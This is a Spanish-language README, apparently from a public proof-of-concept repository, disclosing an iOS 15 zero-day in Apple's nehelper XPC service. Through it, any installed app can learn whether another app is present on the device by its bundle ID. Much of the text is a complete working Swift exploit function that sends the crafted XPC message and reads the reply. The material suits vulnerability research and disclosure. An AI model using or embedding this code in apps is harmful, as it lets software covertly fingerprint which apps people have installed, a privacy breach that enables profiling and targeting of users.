
iOS 15 0-day exploit (still works in 15.0.2)
He actualizado este código para evitar usar la API privada directamente. Lea más en mi publicación de blog. Sin embargo, eso significa que ahora este código es específico de la versión de iOS y posiblemente específico del modelo de dispositivo. Así que si no funciona en su dispositivo, vuelva a calcular y actualice los offsets en el archivo c.c. El código original se puede encontrar en la rama direct.
La vulnerabilidad permite que cualquier aplicación instalada por el usuario determine si una aplicación está instalada en el dispositivo dado su bundle ID.
El endpoint XPC "com.apple.nehelper" tiene un método accesible para cualquier aplicación que acepta un bundle ID como parámetro y devuelve un array que contiene algunos UUIDs de caché si la aplicación con el bundle ID correspondiente está instalada en el dispositivo, o un array vacío en caso contrario.
Esto ocurre en -[NEHelperCacheManager onQueueHandleMessage:] en /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}